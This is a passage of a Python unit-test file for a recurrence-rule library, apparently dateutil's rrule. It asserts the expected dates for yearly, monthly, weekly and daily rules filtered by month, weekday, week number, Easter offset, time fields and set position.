dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 25, 9, 0), datetime(1998, 1, 6, 9, 0), datetime(1998, 12, 31, 9, 0)]) def testYearlyByNWeekDayLarge(self): self.assertEqual(list(rrule(YEARLY, count=3, byweekday=(TU(3), TH(-3)), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 11, 9, 0), datetime(1998, 1, 20, 9, 0), datetime(1998, 12, 17, 9, 0)]) def testYearlyByMonthAndWeekDay(self): self.assertEqual(list(rrule(YEARLY, count=3, bymonth=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 9, 0), datetime(1998, 1, 6, 9, 0), datetime(1998, 1, 8, 9, 0)]) def testYearlyByMonthAndNWeekDay(self): self.assertEqual(list(rrule(YEARLY, count=3, bymonth=(1, 3), byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 6, 9, 0), datetime(1998, 1, 29, 9, 0), datetime(1998, 3, 3, 9, 0)]) def testYearlyByMonthAndNWeekDayLarge(self): # This is interesting because the TH(-3) ends up before # the TU(3). self.assertEqual(list(rrule(YEARLY, count=3, bymonth=(1, 3), byweekday=(TU(3), TH(-3)), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 15, 9, 0), datetime(1998, 1, 20, 9, 0), datetime(1998, 3, 12, 9, 0)]) def testYearlyByMonthDayAndWeekDay(self): self.assertEqual(list(rrule(YEARLY, count=3, bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 9, 0), datetime(1998, 2, 3, 9, 0), datetime(1998, 3, 3, 9, 0)]) def testYearlyByMonthAndMonthDayAndWeekDay(self): self.assertEqual(list(rrule(YEARLY, count=3, bymonth=(1, 3), bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 9, 0), datetime(1998, 3, 3, 9, 0), datetime(2001, 3, 1, 9, 0)]) def testYearlyByYearDay(self): self.assertEqual(list(rrule(YEARLY, count=4, byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 31, 9, 0), datetime(1998, 1, 1, 9, 0), datetime(1998, 4, 10, 9, 0), datetime(1998, 7, 19, 9, 0)]) def testYearlyByYearDayNeg(self): self.assertEqual(list(rrule(YEARLY, count=4, byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 31, 9, 0), datetime(1998, 1, 1, 9, 0), datetime(1998, 4, 10, 9, 0), datetime(1998, 7, 19, 9, 0)]) def testYearlyByMonthAndYearDay(self): self.assertEqual(list(rrule(YEARLY, count=4, bymonth=(4, 7), byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 10, 9, 0), datetime(1998, 7, 19, 9, 0), datetime(1999, 4, 10, 9, 0), datetime(1999, 7, 19, 9, 0)]) def testYearlyByMonthAndYearDayNeg(self): self.assertEqual(list(rrule(YEARLY, count=4, bymonth=(4, 7), byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 10, 9, 0), datetime(1998, 7, 19, 9, 0), datetime(1999, 4, 10, 9, 0), datetime(1999, 7, 19, 9, 0)]) def testYearlyByWeekNo(self): self.assertEqual(list(rrule(YEARLY, count=3, byweekno=20, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 5, 11, 9, 0), datetime(1998, 5, 12, 9, 0), datetime(1998, 5, 13, 9, 0)]) def testYearlyByWeekNoAndWeekDay(self): # That's a nice one. The first days of week number one # may be in the last year. self.assertEqual(list(rrule(YEARLY, count=3, byweekno=1, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 29, 9, 0), datetime(1999, 1, 4, 9, 0), datetime(2000, 1, 3, 9, 0)]) def testYearlyByWeekNoAndWeekDayLarge(self): # Another nice test. The last days of week number 52/53 # may be in the next year. self.assertEqual(list(rrule(YEARLY, count=3, byweekno=52, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 28, 9, 0), datetime(1998, 12, 27, 9, 0), datetime(2000, 1, 2, 9, 0)]) def testYearlyByWeekNoAndWeekDayLast(self): self.assertEqual(list(rrule(YEARLY, count=3, byweekno=-1, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 28, 9, 0), datetime(1999, 1, 3, 9, 0), datetime(2000, 1, 2, 9, 0)]) def testYearlyByEaster(self): self.assertEqual(list(rrule(YEARLY, count=3, byeaster=0, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 12, 9, 0), datetime(1999, 4, 4, 9, 0), datetime(2000, 4, 23, 9, 0)]) def testYearlyByEasterPos(self): self.assertEqual(list(rrule(YEARLY, count=3, byeaster=1, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 13, 9, 0), datetime(1999, 4, 5, 9, 0), datetime(2000, 4, 24, 9, 0)]) def testYearlyByEasterNeg(self): self.assertEqual(list(rrule(YEARLY, count=3, byeaster=-1, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 11, 9, 0), datetime(1999, 4, 3, 9, 0), datetime(2000, 4, 22, 9, 0)]) def testYearlyByWeekNoAndWeekDay53(self): self.assertEqual(list(rrule(YEARLY, count=3, byweekno=53, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 12, 28, 9, 0), datetime(2004, 12, 27, 9, 0), datetime(2009, 12, 28, 9, 0)]) def testYearlyByHour(self): self.assertEqual(list(rrule(YEARLY, count=3, byhour=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 0), datetime(1998, 9, 2, 6, 0), datetime(1998, 9, 2, 18, 0)]) def testYearlyByMinute(self): self.assertEqual(list(rrule(YEARLY, count=3, byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 6), datetime(1997, 9, 2, 9, 18), datetime(1998, 9, 2, 9, 6)]) def testYearlyBySecond(self): self.assertEqual(list(rrule(YEARLY, count=3, bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0, 6), datetime(1997, 9, 2, 9, 0, 18), datetime(1998, 9, 2, 9, 0, 6)]) def testYearlyByHourAndMinute(self): self.assertEqual(list(rrule(YEARLY, count=3, byhour=(6, 18), byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 6), datetime(1997, 9, 2, 18, 18), datetime(1998, 9, 2, 6, 6)]) def testYearlyByHourAndSecond(self): self.assertEqual(list(rrule(YEARLY, count=3, byhour=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 0, 6), datetime(1997, 9, 2, 18, 0, 18), datetime(1998, 9, 2, 6, 0, 6)]) def testYearlyByMinuteAndSecond(self): self.assertEqual(list(rrule(YEARLY, count=3, byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 6, 6), datetime(1997, 9, 2, 9, 6, 18), datetime(1997, 9, 2, 9, 18, 6)]) def testYearlyByHourAndMinuteAndSecond(self): self.assertEqual(list(rrule(YEARLY, count=3, byhour=(6, 18), byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 6, 6), datetime(1997, 9, 2, 18, 6, 18), datetime(1997, 9, 2, 18, 18, 6)]) def testYearlyBySetPos(self): self.assertEqual(list(rrule(YEARLY, count=3, bymonthday=15, byhour=(6, 18), bysetpos=(3, -3), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 11, 15, 18, 0), datetime(1998, 2, 15, 6, 0), datetime(1998, 11, 15, 18, 0)]) def testMonthly(self): self.assertEqual(list(rrule(MONTHLY, count=3, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 10, 2, 9, 0), datetime(1997, 11, 2, 9, 0)]) def testMonthlyInterval(self): self.assertEqual(list(rrule(MONTHLY, count=3, interval=2, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 11, 2, 9, 0), datetime(1998, 1, 2, 9, 0)]) def testMonthlyIntervalLarge(self): self.assertEqual(list(rrule(MONTHLY, count=3, interval=18, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1999, 3, 2, 9, 0), datetime(2000, 9, 2, 9, 0)]) def testMonthlyByMonth(self): self.assertEqual(list(rrule(MONTHLY, count=3, bymonth=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 2, 9, 0), datetime(1998, 3, 2, 9, 0), datetime(1999, 1, 2, 9, 0)]) def testMonthlyByMonthDay(self): self.assertEqual(list(rrule(MONTHLY, count=3, bymonthday=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 3, 9, 0), datetime(1997, 10, 1, 9, 0), datetime(1997, 10, 3, 9, 0)]) def testMonthlyByMonthAndMonthDay(self): self.assertEqual(list(rrule(MONTHLY, count=3, bymonth=(1, 3), bymonthday=(5, 7), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 5, 9, 0), datetime(1998, 1, 7, 9, 0), datetime(1998, 3, 5, 9, 0)]) def testMonthlyByWeekDay(self): self.assertEqual(list(rrule(MONTHLY, count=3, byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 4, 9, 0), datetime(1997, 9, 9, 9, 0)]) # Third Monday of the month self.assertEqual(rrule(MONTHLY, byweekday=(MO(+3)), dtstart=datetime(1997, 9, 1)).between(datetime(1997, 9, 1), datetime(1997, 12, 1)), [datetime(1997, 9, 15, 0, 0), datetime(1997, 10, 20, 0, 0), datetime(1997, 11, 17, 0, 0)]) def testMonthlyByNWeekDay(self): self.assertEqual(list(rrule(MONTHLY, count=3, byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 25, 9, 0), datetime(1997, 10, 7, 9, 0)]) def testMonthlyByNWeekDayLarge(self): self.assertEqual(list(rrule(MONTHLY, count=3, byweekday=(TU(3), TH(-3)), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 11, 9, 0), datetime(1997, 9, 16, 9, 0), datetime(1997, 10, 16, 9, 0)]) def testMonthlyByMonthAndWeekDay(self): self.assertEqual(list(rrule(MONTHLY, count=3, bymonth=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 9, 0), datetime(1998, 1, 6, 9, 0), datetime(1998, 1, 8, 9, 0)]) def testMonthlyByMonthAndNWeekDay(self): self.assertEqual(list(rrule(MONTHLY, count=3, bymonth=(1, 3), byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 6, 9, 0), datetime(1998, 1, 29, 9, 0), datetime(1998, 3, 3, 9, 0)]) def testMonthlyByMonthAndNWeekDayLarge(self): self.assertEqual(list(rrule(MONTHLY, count=3, bymonth=(1, 3), byweekday=(TU(3), TH(-3)), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 15, 9, 0), datetime(1998, 1, 20, 9, 0), datetime(1998, 3, 12, 9, 0)]) def testMonthlyByMonthDayAndWeekDay(self): self.assertEqual(list(rrule(MONTHLY, count=3, bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 9, 0), datetime(1998, 2, 3, 9, 0), datetime(1998, 3, 3, 9, 0)]) def testMonthlyByMonthAndMonthDayAndWeekDay(self): self.assertEqual(list(rrule(MONTHLY, count=3, bymonth=(1, 3), bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 9, 0), datetime(1998, 3, 3, 9, 0), datetime(2001, 3, 1, 9, 0)]) def testMonthlyByYearDay(self): self.assertEqual(list(rrule(MONTHLY, count=4, byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 31, 9, 0), datetime(1998, 1, 1, 9, 0), datetime(1998, 4, 10, 9, 0), datetime(1998, 7, 19, 9, 0)]) def testMonthlyByYearDayNeg(self): self.assertEqual(list(rrule(MONTHLY, count=4, byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 31, 9, 0), datetime(1998, 1, 1, 9, 0), datetime(1998, 4, 10, 9, 0), datetime(1998, 7, 19, 9, 0)]) def testMonthlyByMonthAndYearDay(self): self.assertEqual(list(rrule(MONTHLY, count=4, bymonth=(4, 7), byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 10, 9, 0), datetime(1998, 7, 19, 9, 0), datetime(1999, 4, 10, 9, 0), datetime(1999, 7, 19, 9, 0)]) def testMonthlyByMonthAndYearDayNeg(self): self.assertEqual(list(rrule(MONTHLY, count=4, bymonth=(4, 7), byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 10, 9, 0), datetime(1998, 7, 19, 9, 0), datetime(1999, 4, 10, 9, 0), datetime(1999, 7, 19, 9, 0)]) def testMonthlyByWeekNo(self): self.assertEqual(list(rrule(MONTHLY, count=3, byweekno=20, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 5, 11, 9, 0), datetime(1998, 5, 12, 9, 0), datetime(1998, 5, 13, 9, 0)]) def testMonthlyByWeekNoAndWeekDay(self): # That's a nice one. The first days of week number one # may be in the last year. self.assertEqual(list(rrule(MONTHLY, count=3, byweekno=1, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 29, 9, 0), datetime(1999, 1, 4, 9, 0), datetime(2000, 1, 3, 9, 0)]) def testMonthlyByWeekNoAndWeekDayLarge(self): # Another nice test. The last days of week number 52/53 # may be in the next year. self.assertEqual(list(rrule(MONTHLY, count=3, byweekno=52, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 28, 9, 0), datetime(1998, 12, 27, 9, 0), datetime(2000, 1, 2, 9, 0)]) def testMonthlyByWeekNoAndWeekDayLast(self): self.assertEqual(list(rrule(MONTHLY, count=3, byweekno=-1, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 28, 9, 0), datetime(1999, 1, 3, 9, 0), datetime(2000, 1, 2, 9, 0)]) def testMonthlyByWeekNoAndWeekDay53(self): self.assertEqual(list(rrule(MONTHLY, count=3, byweekno=53, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 12, 28, 9, 0), datetime(2004, 12, 27, 9, 0), datetime(2009, 12, 28, 9, 0)]) def testMonthlyByEaster(self): self.assertEqual(list(rrule(MONTHLY, count=3, byeaster=0, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 12, 9, 0), datetime(1999, 4, 4, 9, 0), datetime(2000, 4, 23, 9, 0)]) def testMonthlyByEasterPos(self): self.assertEqual(list(rrule(MONTHLY, count=3, byeaster=1, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 13, 9, 0), datetime(1999, 4, 5, 9, 0), datetime(2000, 4, 24, 9, 0)]) def testMonthlyByEasterNeg(self): self.assertEqual(list(rrule(MONTHLY, count=3, byeaster=-1, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 11, 9, 0), datetime(1999, 4, 3, 9, 0), datetime(2000, 4, 22, 9, 0)]) def testMonthlyByHour(self): self.assertEqual(list(rrule(MONTHLY, count=3, byhour=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 0), datetime(1997, 10, 2, 6, 0), datetime(1997, 10, 2, 18, 0)]) def testMonthlyByMinute(self): self.assertEqual(list(rrule(MONTHLY, count=3, byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 6), datetime(1997, 9, 2, 9, 18), datetime(1997, 10, 2, 9, 6)]) def testMonthlyBySecond(self): self.assertEqual(list(rrule(MONTHLY, count=3, bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0, 6), datetime(1997, 9, 2, 9, 0, 18), datetime(1997, 10, 2, 9, 0, 6)]) def testMonthlyByHourAndMinute(self): self.assertEqual(list(rrule(MONTHLY, count=3, byhour=(6, 18), byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 6), datetime(1997, 9, 2, 18, 18), datetime(1997, 10, 2, 6, 6)]) def testMonthlyByHourAndSecond(self): self.assertEqual(list(rrule(MONTHLY, count=3, byhour=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 0, 6), datetime(1997, 9, 2, 18, 0, 18), datetime(1997, 10, 2, 6, 0, 6)]) def testMonthlyByMinuteAndSecond(self): self.assertEqual(list(rrule(MONTHLY, count=3, byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 6, 6), datetime(1997, 9, 2, 9, 6, 18), datetime(1997, 9, 2, 9, 18, 6)]) def testMonthlyByHourAndMinuteAndSecond(self): self.assertEqual(list(rrule(MONTHLY, count=3, byhour=(6, 18), byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 6, 6), datetime(1997, 9, 2, 18, 6, 18), datetime(1997, 9, 2, 18, 18, 6)]) def testMonthlyBySetPos(self): self.assertEqual(list(rrule(MONTHLY, count=3, bymonthday=(13, 17), byhour=(6, 18), bysetpos=(3, -3), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 13, 18, 0), datetime(1997, 9, 17, 6, 0), datetime(1997, 10, 13, 18, 0)]) def testWeekly(self): self.assertEqual(list(rrule(WEEKLY, count=3, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 9, 9, 0), datetime(1997, 9, 16, 9, 0)]) def testWeeklyInterval(self): self.assertEqual(list(rrule(WEEKLY, count=3, interval=2, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 16, 9, 0), datetime(1997, 9, 30, 9, 0)]) def testWeeklyIntervalLarge(self): self.assertEqual(list(rrule(WEEKLY, count=3, interval=20, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1998, 1, 20, 9, 0), datetime(1998, 6, 9, 9, 0)]) def testWeeklyByMonth(self): self.assertEqual(list(rrule(WEEKLY, count=3, bymonth=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 6, 9, 0), datetime(1998, 1, 13, 9, 0), datetime(1998, 1, 20, 9, 0)]) def testWeeklyByMonthDay(self): self.assertEqual(list(rrule(WEEKLY, count=3, bymonthday=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 3, 9, 0), datetime(1997, 10, 1, 9, 0), datetime(1997, 10, 3, 9, 0)]) def testWeeklyByMonthAndMonthDay(self): self.assertEqual(list(rrule(WEEKLY, count=3, bymonth=(1, 3), bymonthday=(5, 7), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 5, 9, 0), datetime(1998, 1, 7, 9, 0), datetime(1998, 3, 5, 9, 0)]) def testWeeklyByWeekDay(self): self.assertEqual(list(rrule(WEEKLY, count=3, byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 4, 9, 0), datetime(1997, 9, 9, 9, 0)]) def testWeeklyByNWeekDay(self): self.assertEqual(list(rrule(WEEKLY, count=3, byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 4, 9, 0), datetime(1997, 9, 9, 9, 0)]) def testWeeklyByMonthAndWeekDay(self): # This test is interesting, because it crosses the year # boundary in a weekly period to find day '1' as a # valid recurrence. self.assertEqual(list(rrule(WEEKLY, count=3, bymonth=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 9, 0), datetime(1998, 1, 6, 9, 0), datetime(1998, 1, 8, 9, 0)]) def testWeeklyByMonthAndNWeekDay(self): self.assertEqual(list(rrule(WEEKLY, count=3, bymonth=(1, 3), byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 9, 0), datetime(1998, 1, 6, 9, 0), datetime(1998, 1, 8, 9, 0)]) def testWeeklyByMonthDayAndWeekDay(self): self.assertEqual(list(rrule(WEEKLY, count=3, bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 9, 0), datetime(1998, 2, 3, 9, 0), datetime(1998, 3, 3, 9, 0)]) def testWeeklyByMonthAndMonthDayAndWeekDay(self): self.assertEqual(list(rrule(WEEKLY, count=3, bymonth=(1, 3), bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 9, 0), datetime(1998, 3, 3, 9, 0), datetime(2001, 3, 1, 9, 0)]) def testWeeklyByYearDay(self): self.assertEqual(list(rrule(WEEKLY, count=4, byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 31, 9, 0), datetime(1998, 1, 1, 9, 0), datetime(1998, 4, 10, 9, 0), datetime(1998, 7, 19, 9, 0)]) def testWeeklyByYearDayNeg(self): self.assertEqual(list(rrule(WEEKLY, count=4, byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 31, 9, 0), datetime(1998, 1, 1, 9, 0), datetime(1998, 4, 10, 9, 0), datetime(1998, 7, 19, 9, 0)]) def testWeeklyByMonthAndYearDay(self): self.assertEqual(list(rrule(WEEKLY, count=4, bymonth=(1, 7), byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 9, 0), datetime(1998, 7, 19, 9, 0), datetime(1999, 1, 1, 9, 0), datetime(1999, 7, 19, 9, 0)]) def testWeeklyByMonthAndYearDayNeg(self): self.assertEqual(list(rrule(WEEKLY, count=4, bymonth=(1, 7), byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 9, 0), datetime(1998, 7, 19, 9, 0), datetime(1999, 1, 1, 9, 0), datetime(1999, 7, 19, 9, 0)]) def testWeeklyByWeekNo(self): self.assertEqual(list(rrule(WEEKLY, count=3, byweekno=20, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 5, 11, 9, 0), datetime(1998, 5, 12, 9, 0), datetime(1998, 5, 13, 9, 0)]) def testWeeklyByWeekNoAndWeekDay(self): # That's a nice one. The first days of week number one # may be in the last year. self.assertEqual(list(rrule(WEEKLY, count=3, byweekno=1, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 29, 9, 0), datetime(1999, 1, 4, 9, 0), datetime(2000, 1, 3, 9, 0)]) def testWeeklyByWeekNoAndWeekDayLarge(self): # Another nice test. The last days of week number 52/53 # may be in the next year. self.assertEqual(list(rrule(WEEKLY, count=3, byweekno=52, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 28, 9, 0), datetime(1998, 12, 27, 9, 0), datetime(2000, 1, 2, 9, 0)]) def testWeeklyByWeekNoAndWeekDayLast(self): self.assertEqual(list(rrule(WEEKLY, count=3, byweekno=-1, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 12, 28, 9, 0), datetime(1999, 1, 3, 9, 0), datetime(2000, 1, 2, 9, 0)]) def testWeeklyByWeekNoAndWeekDay53(self): self.assertEqual(list(rrule(WEEKLY, count=3, byweekno=53, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 12, 28, 9, 0), datetime(2004, 12, 27, 9, 0), datetime(2009, 12, 28, 9, 0)]) def testWeeklyByEaster(self): self.assertEqual(list(rrule(WEEKLY, count=3, byeaster=0, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 12, 9, 0), datetime(1999, 4, 4, 9, 0), datetime(2000, 4, 23, 9, 0)]) def testWeeklyByEasterPos(self): self.assertEqual(list(rrule(WEEKLY, count=3, byeaster=1, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 13, 9, 0), datetime(1999, 4, 5, 9, 0), datetime(2000, 4, 24, 9, 0)]) def testWeeklyByEasterNeg(self): self.assertEqual(list(rrule(WEEKLY, count=3, byeaster=-1, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 4, 11, 9, 0), datetime(1999, 4, 3, 9, 0), datetime(2000, 4, 22, 9, 0)]) def testWeeklyByHour(self): self.assertEqual(list(rrule(WEEKLY, count=3, byhour=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 0), datetime(1997, 9, 9, 6, 0), datetime(1997, 9, 9, 18, 0)]) def testWeeklyByMinute(self): self.assertEqual(list(rrule(WEEKLY, count=3, byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 6), datetime(1997, 9, 2, 9, 18), datetime(1997, 9, 9, 9, 6)]) def testWeeklyBySecond(self): self.assertEqual(list(rrule(WEEKLY, count=3, bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0, 6), datetime(1997, 9, 2, 9, 0, 18), datetime(1997, 9, 9, 9, 0, 6)]) def testWeeklyByHourAndMinute(self): self.assertEqual(list(rrule(WEEKLY, count=3, byhour=(6, 18), byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 6), datetime(1997, 9, 2, 18, 18), datetime(1997, 9, 9, 6, 6)]) def testWeeklyByHourAndSecond(self): self.assertEqual(list(rrule(WEEKLY, count=3, byhour=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 0, 6), datetime(1997, 9, 2, 18, 0, 18), datetime(1997, 9, 9, 6, 0, 6)]) def testWeeklyByMinuteAndSecond(self): self.assertEqual(list(rrule(WEEKLY, count=3, byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 6, 6), datetime(1997, 9, 2, 9, 6, 18), datetime(1997, 9, 2, 9, 18, 6)]) def testWeeklyByHourAndMinuteAndSecond(self): self.assertEqual(list(rrule(WEEKLY, count=3, byhour=(6, 18), byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 6, 6), datetime(1997, 9, 2, 18, 6, 18), datetime(1997, 9, 2, 18, 18, 6)]) def testWeeklyBySetPos(self): self.assertEqual(list(rrule(WEEKLY, count=3, byweekday=(TU, TH), byhour=(6, 18), bysetpos=(3, -3), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 18, 0), datetime(1997, 9, 4, 6, 0), datetime(1997, 9, 9, 18, 0)]) def testDaily(self): self.assertEqual(list(rrule(DAILY, count=3, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 3, 9, 0), datetime(1997, 9, 4, 9, 0)]) def testDailyInterval(self): self.assertEqual(list(rrule(DAILY, count=3, interval=2, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 4, 9, 0), datetime(1997, 9, 6, 9, 0)]) def testDailyIntervalLarge(self): self.assertEqual(list(rrule(DAILY, count=3, interval=92, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 12, 3, 9, 0), datetime(1998, 3, 5, 9, 0)]) def testDailyByMonth(self): self.assertEqual(list(rrule(DAILY, count=3, bymonth=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 1, 9, 0), datetime(1998, 1, 2, 9, 0), datetime(1998, 1, 3, 9, 0)]) def testDailyByMonthDay(self): self.assertEqual(list(rrule(DAILY, count=3, bymonthday=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 3, 9, 0), datetime(1997, 10, 1, 9, 0), datetime(1997, 10, 3, 9, 0)]) def testDailyByMonthAndMonthDay(self): self.assertEqual(list(rrule(DAILY, count=3, bymonth=(1, 3), bymonthday=(5, 7), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 5, 9, 0), datetime(1998, 1, 7, 9, 0), datetime(1998, 3, 5, 9, 0)]) def 